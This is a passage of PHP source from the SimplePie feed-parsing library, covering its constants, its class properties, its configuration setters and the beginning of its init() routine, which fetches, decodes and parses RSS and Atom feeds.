define('SIMPLEPIE_TYPE_RSS_SYNDICATION', 190);
/**
* All RSS
*/
define('SIMPLEPIE_TYPE_RSS_ALL', 255);
/**
* Atom 0.3
*/
define('SIMPLEPIE_TYPE_ATOM_03', 256);
/**
* Atom 1.0
*/
define('SIMPLEPIE_TYPE_ATOM_10', 512);
/**
* All Atom
*/
define('SIMPLEPIE_TYPE_ATOM_ALL', 768);
/**
* All feed types
*/
define('SIMPLEPIE_TYPE_ALL', 1023);
/**
* No construct
*/
define('SIMPLEPIE_CONSTRUCT_NONE', 0);
/**
* Text construct
*/
define('SIMPLEPIE_CONSTRUCT_TEXT', 1);
/**
* HTML construct
*/
define('SIMPLEPIE_CONSTRUCT_HTML', 2);
/**
* XHTML construct
*/
define('SIMPLEPIE_CONSTRUCT_XHTML', 4);
/**
* base64-encoded construct
*/
define('SIMPLEPIE_CONSTRUCT_BASE64', 8);
/**
* IRI construct
*/
define('SIMPLEPIE_CONSTRUCT_IRI', 16);
/**
* A construct that might be HTML
*/
define('SIMPLEPIE_CONSTRUCT_MAYBE_HTML', 32);
/**
* All constructs
*/
define('SIMPLEPIE_CONSTRUCT_ALL', 63);
/**
* Don't change case
*/
define('SIMPLEPIE_SAME_CASE', 1);
/**
* Change to lowercase
*/
define('SIMPLEPIE_LOWERCASE', 2);
/**
* Change to uppercase
*/
define('SIMPLEPIE_UPPERCASE', 4);
/**
* PCRE for HTML attributes
*/
define('SIMPLEPIE_PCRE_HTML_ATTRIBUTE', '((?:[\x09\x0A\x0B\x0C\x0D\x20]+[^\x09\x0A\x0B\x0C\x0D\x20\x2F\x3E][^\x09\x0A\x0B\x0C\x0D\x20\x2F\x3D\x3E]*(?:[\x09\x0A\x0B\x0C\x0D\x20]*=[\x09\x0A\x0B\x0C\x0D\x20]*(?:"(?:[^"]*)"|\'(?:[^\']*)\'|(?:[^\x09\x0A\x0B\x0C\x0D\x20\x22\x27\x3E][^\x09\x0A\x0B\x0C\x0D\x20\x3E]*)?))?)*)[\x09\x0A\x0B\x0C\x0D\x20]*');
/**
* PCRE for XML attributes
*/
define('SIMPLEPIE_PCRE_XML_ATTRIBUTE', '((?:\s+(?:(?:[^\s:]+:)?[^\s:]+)\s*=\s*(?:"(?:[^"]*)"|\'(?:[^\']*)\'))*)\s*');
/**
* XML Namespace
*/
define('SIMPLEPIE_NAMESPACE_XML', 'http://www.w3.org/XML/1998/namespace');
/**
* Atom 1.0 Namespace
*/
define('SIMPLEPIE_NAMESPACE_ATOM_10', 'http://www.w3.org/2005/Atom');
/**
* Atom 0.3 Namespace
*/
define('SIMPLEPIE_NAMESPACE_ATOM_03', 'http://purl.org/atom/ns#');
/**
* RDF Namespace
*/
define('SIMPLEPIE_NAMESPACE_RDF', 'http://www.w3.org/1999/02/22-rdf-syntax-ns#');
/**
* RSS 0.90 Namespace
*/
define('SIMPLEPIE_NAMESPACE_RSS_090', 'http://my.netscape.com/rdf/simple/0.9/');
/**
* RSS 1.0 Namespace
*/
define('SIMPLEPIE_NAMESPACE_RSS_10', 'http://purl.org/rss/1.0/');
/**
* RSS 1.0 Content Module Namespace
*/
define('SIMPLEPIE_NAMESPACE_RSS_10_MODULES_CONTENT', 'http://purl.org/rss/1.0/modules/content/');
/**
* RSS 2.0 Namespace
*/
define('SIMPLEPIE_NAMESPACE_RSS_20', '');
/**
* DC 1.0 Namespace
*/
define('SIMPLEPIE_NAMESPACE_DC_10', 'http://purl.org/dc/elements/1.0/');
/**
* DC 1.1 Namespace
*/
define('SIMPLEPIE_NAMESPACE_DC_11', 'http://purl.org/dc/elements/1.1/');
/**
* W3C Basic Geo (WGS84 lat/long) Vocabulary Namespace
*/
define('SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO', 'http://www.w3.org/2003/01/geo/wgs84_pos#');
/**
* GeoRSS Namespace
*/
define('SIMPLEPIE_NAMESPACE_GEORSS', 'http://www.georss.org/georss');
/**
* Media RSS Namespace
*/
define('SIMPLEPIE_NAMESPACE_MEDIARSS', 'http://search.yahoo.com/mrss/');
/**
* Wrong Media RSS Namespace. Caused by a long-standing typo in the spec.
*/
define('SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG', 'http://search.yahoo.com/mrss');
/**
* Wrong Media RSS Namespace #2. New namespace introduced in Media RSS 1.5.
*/
define('SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG2', 'http://video.search.yahoo.com/mrss');
/**
* Wrong Media RSS Namespace #3. A possible typo of the Media RSS 1.5 namespace.
*/
define('SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG3', 'http://video.search.yahoo.com/mrss/');
/**
* Wrong Media RSS Namespace #4. New spec location after the RSS Advisory Board takes it over, but not a valid namespace.
*/
define('SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG4', 'http://www.rssboard.org/media-rss');
/**
* Wrong Media RSS Namespace #5. A possible typo of the RSS Advisory Board URL.
*/
define('SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG5', 'http://www.rssboard.org/media-rss/');
/**
* iTunes RSS Namespace
*/
define('SIMPLEPIE_NAMESPACE_ITUNES', 'http://www.itunes.com/dtds/podcast-1.0.dtd');
/**
* XHTML Namespace
*/
define('SIMPLEPIE_NAMESPACE_XHTML', 'http://www.w3.org/1999/xhtml');
/**
* IANA Link Relations Registry
*/
define('SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY', 'http://www.iana.org/assignments/relation/');
/**
* No file source
*/
define('SIMPLEPIE_FILE_SOURCE_NONE', 0);
/**
* Remote file source
*/
define('SIMPLEPIE_FILE_SOURCE_REMOTE', 1);
/**
* Local file source
*/
define('SIMPLEPIE_FILE_SOURCE_LOCAL', 2);
/**
* fsockopen() file source
*/
define('SIMPLEPIE_FILE_SOURCE_FSOCKOPEN', 4);
/**
* cURL file source
*/
define('SIMPLEPIE_FILE_SOURCE_CURL', 8);
/**
* file_get_contents() file source
*/
define('SIMPLEPIE_FILE_SOURCE_FILE_GET_CONTENTS', 16);
/**
* SimplePie
*
* @package SimplePie
* @subpackage API
*/
class SimplePie
{
/**
* @var array Raw data
* @access private
*/
public $data = array();
/**
* @var mixed Error string
* @access private
*/
public $error;
/**
* @var int HTTP status code
* @see SimplePie::status_code()
* @access private
*/
public $status_code;
/**
* @var object Instance of SimplePie_Sanitize (or other class)
* @see SimplePie::set_sanitize_class()
* @access private
*/
public $sanitize;
/**
* @var string SimplePie Useragent
* @see SimplePie::set_useragent()
* @access private
*/
public $useragent = SIMPLEPIE_USERAGENT;
/**
* @var string Feed URL
* @see SimplePie::set_feed_url()
* @access private
*/
public $feed_url;
/**
* @var string Original feed URL, or new feed URL iff HTTP 301 Moved Permanently
* @see SimplePie::subscribe_url()
* @access private
*/
public $permanent_url = null;
/**
* @var object Instance of SimplePie_File to use as a feed
* @see SimplePie::set_file()
* @access private
*/
public $file;
/**
* @var string Raw feed data
* @see SimplePie::set_raw_data()
* @access private
*/
public $raw_data;
/**
* @var int Timeout for fetching remote files
* @see SimplePie::set_timeout()
* @access private
*/
public $timeout = 10;
/**
* @var array Custom curl options
* @see SimplePie::set_curl_options()
* @access private
*/
public $curl_options = array();
/**
* @var bool Forces fsockopen() to be used for remote files instead
* of cURL, even if a new enough version is installed
* @see SimplePie::force_fsockopen()
* @access private
*/
public $force_fsockopen = false;
/**
* @var bool Force the given data/URL to be treated as a feed no matter what
* it appears like
* @see SimplePie::force_feed()
* @access private
*/
public $force_feed = false;
/**
* @var bool Enable/Disable Caching
* @see SimplePie::enable_cache()
* @access private
*/
public $cache = true;
/**
* @var bool Force SimplePie to fallback to expired cache, if enabled,
* when feed is unavailable.
* @see SimplePie::force_cache_fallback()
* @access private
*/
public $force_cache_fallback = false;
/**
* @var int Cache duration (in seconds)
* @see SimplePie::set_cache_duration()
* @access private
*/
public $cache_duration = 3600;
/**
* @var int Auto-discovery cache duration (in seconds)
* @see SimplePie::set_autodiscovery_cache_duration()
* @access private
*/
public $autodiscovery_cache_duration = 604800; // 7 Days.
/**
* @var string Cache location (relative to executing script)
* @see SimplePie::set_cache_location()
* @access private
*/
public $cache_location = './cache';
/**
* @var string Function that creates the cache filename
* @see SimplePie::set_cache_name_function()
* @access private
*/
public $cache_name_function = 'md5';
/**
* @var bool Reorder feed by date descending
* @see SimplePie::enable_order_by_date()
* @access private
*/
public $order_by_date = true;
/**
* @var mixed Force input encoding to be set to the follow value
* (false, or anything type-cast to false, disables this feature)
* @see SimplePie::set_input_encoding()
* @access private
*/
public $input_encoding = false;
/**
* @var int Feed Autodiscovery Level
* @see SimplePie::set_autodiscovery_level()
* @access private
*/
public $autodiscovery = SIMPLEPIE_LOCATOR_ALL;
/**
* Class registry object
*
* @var SimplePie_Registry
*/
public $registry;
/**
* @var int Maximum number of feeds to check with autodiscovery
* @see SimplePie::set_max_checked_feeds()
* @access private
*/
public $max_checked_feeds = 10;
/**
* @var array All the feeds found during the autodiscovery process
* @see SimplePie::get_all_discovered_feeds()
* @access private
*/
public $all_discovered_feeds = array();
/**
* @var string Web-accessible path to the handler_image.php file.
* @see SimplePie::set_image_handler()
* @access private
*/
public $image_handler = '';
/**
* @var array Stores the URLs when multiple feeds are being initialized.
* @see SimplePie::set_feed_url()
* @access private
*/
public $multifeed_url = array();
/**
* @var array Stores SimplePie objects when multiple feeds initialized.
* @access private
*/
public $multifeed_objects = array();
/**
* @var array Stores the get_object_vars() array for use with multifeeds.
* @see SimplePie::set_feed_url()
* @access private
*/
public $config_settings = null;
/**
* @var integer Stores the number of items to return per-feed with multifeeds.
* @see SimplePie::set_item_limit()
* @access private
*/
public $item_limit = 0;
/**
* @var bool Stores if last-modified and/or etag headers were sent with the
* request when checking a feed.
*/
public $check_modified = false;
/**
* @var array Stores the default attributes to be stripped by strip_attributes().
* @see SimplePie::strip_attributes()
* @access private
*/
public $strip_attributes = array('bgsound', 'class', 'expr', 'id', 'style', 'onclick', 'onerror', 'onfinish', 'onmouseover', 'onmouseout', 'onfocus', 'onblur', 'lowsrc', 'dynsrc');
/**
* @var array Stores the default attributes to add to different tags by add_attributes().
* @see SimplePie::add_attributes()
* @access private
*/
public $add_attributes = array('audio' => array('preload' => 'none'), 'iframe' => array('sandbox' => 'allow-scripts allow-same-origin'), 'video' => array('preload' => 'none'));
/**
* @var array Stores the default tags to be stripped by strip_htmltags().
* @see SimplePie::strip_htmltags()
* @access private
*/
public $strip_htmltags = array('base', 'blink', 'body', 'doctype', 'embed', 'font', 'form', 'frame', 'frameset', 'html', 'iframe', 'input', 'marquee', 'meta', 'noscript', 'object', 'param', 'script', 'style');
/**
* @var bool Should we throw exceptions, or use the old-style error property?
* @access private
*/
public $enable_exceptions = false;
/**
* The SimplePie class contains feed level data and options
*
* To use SimplePie, create the SimplePie object with no parameters. You can
* then set configuration options using the provided methods. After setting
* them, you must initialise the feed using $feed->init(). At that point the
* object's methods and properties will be available to you.
*
* Previously, it was possible to pass in the feed URL along with cache
* options directly into the constructor. This has been removed as of 1.3 as
* it caused a lot of confusion.
*
* @since 1.0 Preview Release
*/
public function __construct()
{
if (version_compare(PHP_VERSION, '5.6', '<'))
{
trigger_error('Please upgrade to PHP 5.6 or newer.');
die();
}
// Other objects, instances created here so we can set options on them
$this->sanitize = new SimplePie_Sanitize();
$this->registry = new SimplePie_Registry();
if (func_num_args() > 0)
{
$level = defined('E_USER_DEPRECATED') ? E_USER_DEPRECATED : E_USER_WARNING;
trigger_error('Passing parameters to the constructor is no longer supported. Please use set_feed_url(), set_cache_location(), and set_cache_duration() directly.', $level);
$args = func_get_args();
switch (count($args)) {
case 3:
$this->set_cache_duration($args[2]);
case 2:
$this->set_cache_location($args[1]);
case 1:
$this->set_feed_url($args[0]);
$this->init();
}
}
}
/**
* Used for converting object to a string
*/
public function __toString()
{
return md5(serialize($this->data));
}
/**
* Remove items that link back to this before destroying this object
*/
public function __destruct()
{
if (!gc_enabled())
{
if (!empty($this->data['items']))
{
foreach ($this->data['items'] as $item)
{
$item->__destruct();
}
unset($item, $this->data['items']);
}
if (!empty($this->data['ordered_items']))
{
foreach ($this->data['ordered_items'] as $item)
{
$item->__destruct();
}
unset($item, $this->data['ordered_items']);
}
}
}
/**
* Force the given data/URL to be treated as a feed
*
* This tells SimplePie to ignore the content-type provided by the server.
* Be careful when using this option, as it will also disable autodiscovery.
*
* @since 1.1
* @param bool $enable Force the given data/URL to be treated as a feed
*/
public function force_feed($enable = false)
{
$this->force_feed = (bool) $enable;
}
/**
* Set the URL of the feed you want to parse
*
* This allows you to enter the URL of the feed you want to parse, or the
* website you want to try to use auto-discovery on. This takes priority
* over any set raw data.
*
* You can set multiple feeds to mash together by passing an array instead
* of a string for the $url. Remember that with each additional feed comes
* additional processing and resources.
*
* @since 1.0 Preview Release
* @see set_raw_data()
* @param string|array $url This is the URL (or array of URLs) that you want to parse.
*/
public function set_feed_url($url)
{
$this->multifeed_url = array();
if (is_array($url))
{
foreach ($url as $value)
{
$this->multifeed_url[] = $this->registry->call('Misc', 'fix_protocol', array($value, 1));
}
}
else
{
$this->feed_url = $this->registry->call('Misc', 'fix_protocol', array($url, 1));
$this->permanent_url = $this->feed_url;
}
}
/**
* Set an instance of {@see SimplePie_File} to use as a feed
*
* @param SimplePie_File &$file
* @return bool True on success, false on failure
*/
public function set_file(&$file)
{
if ($file instanceof SimplePie_File)
{
$this->feed_url = $file->url;
$this->permanent_url = $this->feed_url;
$this->file =& $file;
return true;
}
return false;
}
/**
* Set the raw XML data to parse
*
* Allows you to use a string of RSS/Atom data instead of a remote feed.
*
* If you have a feed available as a string in PHP, you can tell SimplePie
* to parse that data string instead of a remote feed. Any set feed URL
* takes precedence.
*
* @since 1.0 Beta 3
* @param string $data RSS or Atom data as a string.
* @see set_feed_url()
*/
public function set_raw_data($data)
{
$this->raw_data = $data;
}
/**
* Set the default timeout for fetching remote feeds
*
* This allows you to change the maximum time the feed's server to respond
* and send the feed back.
*
* @since 1.0 Beta 3
* @param int $timeout The maximum number of seconds to spend waiting to retrieve a feed.
*/
public function set_timeout($timeout = 10)
{
$this->timeout = (int) $timeout;
}
/**
* Set custom curl options
*
* This allows you to change default curl options
*
* @since 1.0 Beta 3
* @param array $curl_options Curl options to add to default settings
*/
public function set_curl_options(array $curl_options = array())
{
$this->curl_options = $curl_options;
}
/**
* Force SimplePie to use fsockopen() instead of cURL
*
* @since 1.0 Beta 3
* @param bool $enable Force fsockopen() to be used
*/
public function force_fsockopen($enable = false)
{
$this->force_fsockopen = (bool) $enable;
}
/**
* Enable/disable caching in SimplePie.
*
* This option allows you to disable caching all-together in SimplePie.
* However, disabling the cache can lead to longer load times.
*
* @since 1.0 Preview Release
* @param bool $enable Enable caching
*/
public function enable_cache($enable = true)
{
$this->cache = (bool) $enable;
}
/**
* SimplePie to continue to fall back to expired cache, if enabled, when
* feed is unavailable.
*
* This tells SimplePie to ignore any file errors and fall back to cache
* instead. This only works if caching is enabled and cached content
* still exists.
* @param bool $enable Force use of cache on fail.
*/
public function force_cache_fallback($enable = false)
{
$this->force_cache_fallback= (bool) $enable;
}
/**
* Set the length of time (in seconds) that the contents of a feed will be
* cached
*
* @param int $seconds The feed content cache duration
*/
public function set_cache_duration($seconds = 3600)
{
$this->cache_duration = (int) $seconds;
}
/**
* Set the length of time (in seconds) that the autodiscovered feed URL will
* be cached
*
* @param int $seconds The autodiscovered feed URL cache duration.
*/
public function set_autodiscovery_cache_duration($seconds = 604800)
{
$this->autodiscovery_cache_duration = (int) $seconds;
}
/**
* Set the file system location where the cached files should be stored
*
* @param string $location The file system location.
*/
public function set_cache_location($location = './cache')
{
$this->cache_location = (string) $location;
}
/**
* Return the filename (i.e. hash, without path and without extension) of the file to cache a given URL.
* @param string $url The URL of the feed to be cached.
* @return string A filename (i.e. hash, without path and without extension).
*/
public function get_cache_filename($url)
{
// Append custom parameters to the URL to avoid cache pollution in case of multiple calls with different parameters.
$url .= $this->force_feed ? '#force_feed' : '';
$options = array();
if ($this->timeout != 10)
{
$options[CURLOPT_TIMEOUT] = $this->timeout;
}
if ($this->useragent !== SIMPLEPIE_USERAGENT)
{
$options[CURLOPT_USERAGENT] = $this->useragent;
}
if (!empty($this->curl_options))
{
foreach ($this->curl_options as $k => $v)
{
$options[$k] = $v;
}
}
if (!empty($options))
{
ksort($options);
$url .= '#' . urlencode(var_export($options, true));
}
return call_user_func($this->cache_name_function, $url);
}
/**
* Set whether feed items should be sorted into reverse chronological order
*
* @param bool $enable Sort as reverse chronological order.
*/
public function enable_order_by_date($enable = true)
{
$this->order_by_date = (bool) $enable;
}
/**
* Set the character encoding used to parse the feed
*
* This overrides the encoding reported by the feed, however it will fall
* back to the normal encoding detection if the override fails
*
* @param string $encoding Character encoding
*/
public function set_input_encoding($encoding = false)
{
if ($encoding)
{
$this->input_encoding = (string) $encoding;
}
else
{
$this->input_encoding = false;
}
}
/**
* Set how much feed autodiscovery to do
*
* @see SIMPLEPIE_LOCATOR_NONE
* @see SIMPLEPIE_LOCATOR_AUTODISCOVERY
* @see SIMPLEPIE_LOCATOR_LOCAL_EXTENSION
* @see SIMPLEPIE_LOCATOR_LOCAL_BODY
* @see SIMPLEPIE_LOCATOR_REMOTE_EXTENSION
* @see SIMPLEPIE_LOCATOR_REMOTE_BODY
* @see SIMPLEPIE_LOCATOR_ALL
* @param int $level Feed Autodiscovery Level (level can be a combination of the above constants, see bitwise OR operator)
*/
public function set_autodiscovery_level($level = SIMPLEPIE_LOCATOR_ALL)
{
$this->autodiscovery = (int) $level;
}
/**
* Get the class registry
*
* Use this to override SimplePie's default classes
* @see SimplePie_Registry
* @return SimplePie_Registry
*/
public function &get_registry()
{
return $this->registry;
}
/**#@+
* Useful when you are overloading or extending SimplePie's default classes.
*
* @deprecated Use {@see get_registry()} instead
* @link http://php.net/manual/en/language.oop5.basic.php#language.oop5.basic.extends PHP5 extends documentation
* @param string $class Name of custom class
* @return boolean True on success, false otherwise
*/
/**
* Set which class SimplePie uses for caching
*/
public function set_cache_class($class = 'SimplePie_Cache')
{
return $this->registry->register('Cache', $class, true);
}
/**
* Set which class SimplePie uses for auto-discovery
*/
public function set_locator_class($class = 'SimplePie_Locator')
{
return $this->registry->register('Locator', $class, true);
}
/**
* Set which class SimplePie uses for XML parsing
*/
public function set_parser_class($class = 'SimplePie_Parser')
{
return $this->registry->register('Parser', $class, true);
}
/**
* Set which class SimplePie uses for remote file fetching
*/
public function set_file_class($class = 'SimplePie_File')
{
return $this->registry->register('File', $class, true);
}
/**
* Set which class SimplePie uses for data sanitization
*/
public function set_sanitize_class($class = 'SimplePie_Sanitize')
{
return $this->registry->register('Sanitize', $class, true);
}
/**
* Set which class SimplePie uses for handling feed items
*/
public function set_item_class($class = 'SimplePie_Item')
{
return $this->registry->register('Item', $class, true);
}
/**
* Set which class SimplePie uses for handling author data
*/
public function set_author_class($class = 'SimplePie_Author')
{
return $this->registry->register('Author', $class, true);
}
/**
* Set which class SimplePie uses for handling category data
*/
public function set_category_class($class = 'SimplePie_Category')
{
return $this->registry->register('Category', $class, true);
}
/**
* Set which class SimplePie uses for feed enclosures
*/
public function set_enclosure_class($class = 'SimplePie_Enclosure')
{
return $this->registry->register('Enclosure', $class, true);
}
/**
* Set which class SimplePie uses for `<media:text>` captions
*/
public function set_caption_class($class = 'SimplePie_Caption')
{
return $this->registry->register('Caption', $class, true);
}
/**
* Set which class SimplePie uses for `<media:copyright>`
*/
public function set_copyright_class($class = 'SimplePie_Copyright')
{
return $this->registry->register('Copyright', $class, true);
}
/**
* Set which class SimplePie uses for `<media:credit>`
*/
public function set_credit_class($class = 'SimplePie_Credit')
{
return $this->registry->register('Credit', $class, true);
}
/**
* Set which class SimplePie uses for `<media:rating>`
*/
public function set_rating_class($class = 'SimplePie_Rating')
{
return $this->registry->register('Rating', $class, true);
}
/**
* Set which class SimplePie uses for `<media:restriction>`
*/
public function set_restriction_class($class = 'SimplePie_Restriction')
{
return $this->registry->register('Restriction', $class, true);
}
/**
* Set which class SimplePie uses for content-type sniffing
*/
public function set_content_type_sniffer_class($class = 'SimplePie_Content_Type_Sniffer')
{
return $this->registry->register('Content_Type_Sniffer', $class, true);
}
/**
* Set which class SimplePie uses item sources
*/
public function set_source_class($class = 'SimplePie_Source')
{
return $this->registry->register('Source', $class, true);
}
/**#@-*/
/**
* Set the user agent string
*
* @param string $ua New user agent string.
*/
public function set_useragent($ua = SIMPLEPIE_USERAGENT)
{
$this->useragent = (string) $ua;
}
/**
* Set callback function to create cache filename with
*
* @param mixed $function Callback function
*/
public function set_cache_name_function($function = 'md5')
{
if (is_callable($function))
{
$this->cache_name_function = $function;
}
}
/**
* Set options to make SimplePie as fast as possible.
*
* Forgoes a substantial amount of data sanitization in favor of speed.
* This turns SimplePie into a less clever parser of feeds.
*
* @param bool $set Whether to set them or not.
*/
public function set_stupidly_fast($set = false)
{
if ($set)
{
$this->enable_order_by_date(false);
$this->remove_div(false);
$this->strip_comments(false);
$this->strip_htmltags(false);
$this->strip_attributes(false);
$this->add_attributes(false);
$this->set_image_handler(false);
$this->set_https_domains(array());
}
}
/**
* Set maximum number of feeds to check with autodiscovery
*
* @param int $max Maximum number of feeds to check
*/
public function set_max_checked_feeds($max = 10)
{
$this->max_checked_feeds = (int) $max;
}
public function remove_div($enable = true)
{
$this->sanitize->remove_div($enable);
}
public function strip_htmltags($tags = '', $encode = null)
{
if ($tags === '')
{
$tags = $this->strip_htmltags;
}
$this->sanitize->strip_htmltags($tags);
if ($encode !== null)
{
$this->sanitize->encode_instead_of_strip($tags);
}
}
public function encode_instead_of_strip($enable = true)
{
$this->sanitize->encode_instead_of_strip($enable);
}
public function strip_attributes($attribs = '')
{
if ($attribs === '')
{
$attribs = $this->strip_attributes;
}
$this->sanitize->strip_attributes($attribs);
}
public function add_attributes($attribs = '')
{
if ($attribs === '')
{
$attribs = $this->add_attributes;
}
$this->sanitize->add_attributes($attribs);
}
/**
* Set the output encoding
*
* Allows you to override SimplePie's output to match that of your webpage.
* This is useful for times when your webpages are not being served as
* UTF-8. This setting will be obeyed by {@see handle_content_type()}, and
* is similar to {@see set_input_encoding()}.
*
* It should be noted, however, that not all character encodings can support
* all characters. If your page is being served as ISO-8859-1 and you try
* to display a Japanese feed, you'll likely see garbled characters.
* Because of this, it is highly recommended to ensure that your webpages
* are served as UTF-8.
*
* The number of supported character encodings depends on whether your web
* host supports {@link http://php.net/mbstring mbstring},
* {@link http://php.net/iconv iconv}, or both. See
* {@link http://simplepie.org/wiki/faq/Supported_Character_Encodings} for
* more information.
*
* @param string $encoding
*/
public function set_output_encoding($encoding = 'UTF-8')
{
$this->sanitize->set_output_encoding($encoding);
}
public function strip_comments($strip = false)
{
$this->sanitize->strip_comments($strip);
}
/**
* Set element/attribute key/value pairs of HTML attributes
* containing URLs that need to be resolved relative to the feed
*
* Defaults to |a|@href, |area|@href, |blockquote|@cite, |del|@cite,
* |form|@action, |img|@longdesc, |img|@src, |input|@src, |ins|@cite,
* |q|@cite
*
* @since 1.0
* @param array|null $element_attribute Element/attribute key/value pairs, null for default
*/
public function set_url_replacements($element_attribute = null)
{
$this->sanitize->set_url_replacements($element_attribute);
}
/**
* Set the list of domains for which to force HTTPS.
* @see SimplePie_Sanitize::set_https_domains()
* @param array List of HTTPS domains. Example array('biz', 'example.com', 'example.org', 'www.example.net').
*/
public function set_https_domains($domains = array())
{
if (is_array($domains))
{
$this->sanitize->set_https_domains($domains);
}
}
/**
* Set the handler to enable the display of cached images.
*
* @param string $page Web-accessible path to the handler_image.php file.
* @param string $qs The query string that the value should be passed to.
*/
public function set_image_handler($page = false, $qs = 'i')
{
if ($page !== false)
{
$this->sanitize->set_image_handler($page . '?' . $qs . '=');
}
else
{
$this->image_handler = '';
}
}
/**
* Set the limit for items returned per-feed with multifeeds
*
* @param integer $limit The maximum number of items to return.
*/
public function set_item_limit($limit = 0)
{
$this->item_limit = (int) $limit;
}
/**
* Enable throwing exceptions
*
* @param boolean $enable Should we throw exceptions, or use the old-style error property?
*/
public function enable_exceptions($enable = true)
{
$this->enable_exceptions = $enable;
}
/**
* Initialize the feed object
*
* This is what makes everything happen. Period. This is where all of the
* configuration options get processed, feeds are fetched, cached, and
* parsed, and all of that other good stuff.
*
* @return boolean True if successful, false otherwise
*/
public function init()
{
// Check absolute bare minimum requirements.
if (!extension_loaded('xml') || !extension_loaded('pcre'))
{
$this->error = 'XML or PCRE extensions not loaded!';
return false;
}
// Then check the xml extension is sane (i.e., libxml 2.7.x issue on PHP < 5.2.9 and libxml 2.7.0 to 2.7.2 on any version) if we don't have xmlreader.
elseif (!extension_loaded('xmlreader'))
{
static $xml_is_sane = null;
if ($xml_is_sane === null)
{
$parser_check = xml_parser_create();
xml_parse_into_struct($parser_check, '<foo>&</foo>', $values);
xml_parser_free($parser_check);
$xml_is_sane = isset($values[0]['value']);
}
if (!$xml_is_sane)
{
return false;
}
}
// The default sanitize class gets set in the constructor, check if it has
// changed.
if ($this->registry->get_class('Sanitize') !== 'SimplePie_Sanitize') {
$this->sanitize = $this->registry->create('Sanitize');
}
if (method_exists($this->sanitize, 'set_registry'))
{
$this->sanitize->set_registry($this->registry);
}
// Pass whatever was set with config options over to the sanitizer.
// Pass the classes in for legacy support; new classes should use the registry instead
$this->sanitize->pass_cache_data($this->cache, $this->cache_location, $this->cache_name_function, $this->registry->get_class('Cache'));
$this->sanitize->pass_file_data($this->registry->get_class('File'), $this->timeout, $this->useragent, $this->force_fsockopen, $this->curl_options);
if (!empty($this->multifeed_url))
{
$i = 0;
$success = 0;
$this->multifeed_objects = array();
$this->error = array();
foreach ($this->multifeed_url as $url)
{
$this->multifeed_objects[$i] = clone $this;
$this->multifeed_objects[$i]->set_feed_url($url);
$single_success = $this->multifeed_objects[$i]->init();
$success |= $single_success;
if (!$single_success)
{
$this->error[$i] = $this->multifeed_objects[$i]->error();
}
$i++;
}
return (bool) $success;
}
elseif ($this->feed_url === null && $this->raw_data === null)
{
return false;
}
$this->error = null;
$this->data = array();
$this->check_modified = false;
$this->multifeed_objects = array();
$cache = false;
if ($this->feed_url !== null)
{
$parsed_feed_url = $this->registry->call('Misc', 'parse_url', array($this->feed_url));
// Decide whether to enable caching
if ($this->cache && $parsed_feed_url['scheme'] !== '')
{
$filename = $this->get_cache_filename($this->feed_url);
$cache = $this->registry->call('Cache', 'get_handler', array($this->cache_location, $filename, 'spc'));
}
// Fetch the data via SimplePie_File into $this->raw_data
if (($fetched = $this->fetch_data($cache)) === true)
{
return true;
}
elseif ($fetched === false) {
return false;
}
list($headers, $sniffed) = $fetched;
}
// Empty response check
if(empty($this->raw_data)){
$this->error = "A feed could not be found at `$this->feed_url`. Empty body.";
$this->registry->call('Misc', 'error', array($this->error, E_USER_NOTICE, __FILE__, __LINE__));
return false;
}
// Set up array of possible encodings
$encodings = array();
// First check to see if input has been overridden.
if ($this->input_encoding !== false)
{
$encodings[] = strtoupper($this->input_encoding);
}
$application_types = array('application/xml', 'application/xml-dtd', 'application/xml-external-parsed-entity');
$text_types = array('text/xml', 'text/xml-external-parsed-entity');
// RFC 3023 (only applies to sniffed content)
if (isset($sniffed))
{
if (in_array($sniffed, $application_types) || substr($sniffed, 0, 12) === 'application/' && substr($sniffed, -4) === '+xml')
{
if (isset($headers['content-type']) && preg_match('/;\x20?charset=([^;]*)/i', $headers['content-type'], $charset))
{
$encodings[] = strtoupper($charset[1]);
}
$encodings = array_merge($encodings, $this->registry->call('Misc', 'xml_encoding', array($this->raw_data, &$this->registry)));
$encodings[] = 'UTF-8';
}
elseif (in_array($sniffed, $text_types) || substr($sniffed, 0, 5) === 'text/' && substr($sniffed, -4) === '+xml')
{
if (isset($headers['content-type']) && preg_match('/;\x20?charset=([^;]*)/i', $headers['content-type'], $charset))
{
$encodings[] = strtoupper($charset[1]);
}
$encodings[] = 'US-ASCII';
}
// Text MIME-type default
elseif (substr($sniffed, 0, 5) === 'text/')
{
$encodings[] = 'UTF-8';
}
}
// Fallback to XML 1.0 Appendix F.1/UTF-8/ISO-8859-1
$encodings = array_merge($encodings, $this->registry->call('Misc', 'xml_encoding', array($this->raw_data, &$this->registry)));
$encodings[] = 'UTF-8';
$encodings[] = 'ISO-8859-1';
// There's no point in trying an encoding twice
$encodings = array_unique($encodings);
// Loop through each possible encoding, till we return something, or run out of possibilities
foreach ($encodings as $encoding)
{
// Change the encoding to UTF-8 (as we always use UTF-8 internally)
if ($utf8_data = $this->registry->call('Misc', 'change_encoding', array($this->raw_data, $encoding, 'UTF-8')))
{
// Create new parser
$parser = $this->registry->create('Parser');
// If it's parsed fine
if ($parser->parse($utf8_data, 'UTF-8', $this->permanent_url))
{
$this->data = $parser->get_data();
if (!($this->get_type() & ~SIMPLEPIE_TYPE_NONE))
{
$this->error = "A feed could not be found at `$this->feed_url`. This does not appear to be a valid RSS or Atom feed.";
$this->registry->call('Misc', 'error', array($this->error, E_USER_NOTICE, __FILE__, __LINE__));
return false;
}
if (isset($headers))
{
$this->data['headers'] = $headers;
}
$this->data['build'] = SIMPLEPIE_BUILD;
// Cache the file if caching is enabled
if ($cache && !$cache->save($this))
{
trigger_error("$this->cache_location is not writable. Make sure you've set the correct relative or absolute path, and that the location is server-writable.", E_USER_WARNING);
}
return true;
}
}
}
if (isset($parser))
{
// We have an error, just set SimplePie_Misc::error to it and quit
$this->error = $this->feed_url;
$this->error .= sprintf(' is invalid XML, likely due to invalid characters. XML error: %s at line %d, column %d', $parser->get_error_string(), $parser->get_current_line(), $parser->get_current_column());
}
else
{
$this->error = 'The data could not be converted to UTF-8.';
if (!extension_loaded('mbstring') && !extension_loaded('iconv') && !class_exists('\UConverter')) {
$this->error .= ' You MUST have either the iconv, mbstring or intl (PHP 5.5+) extension installed and enabled.';
} else {
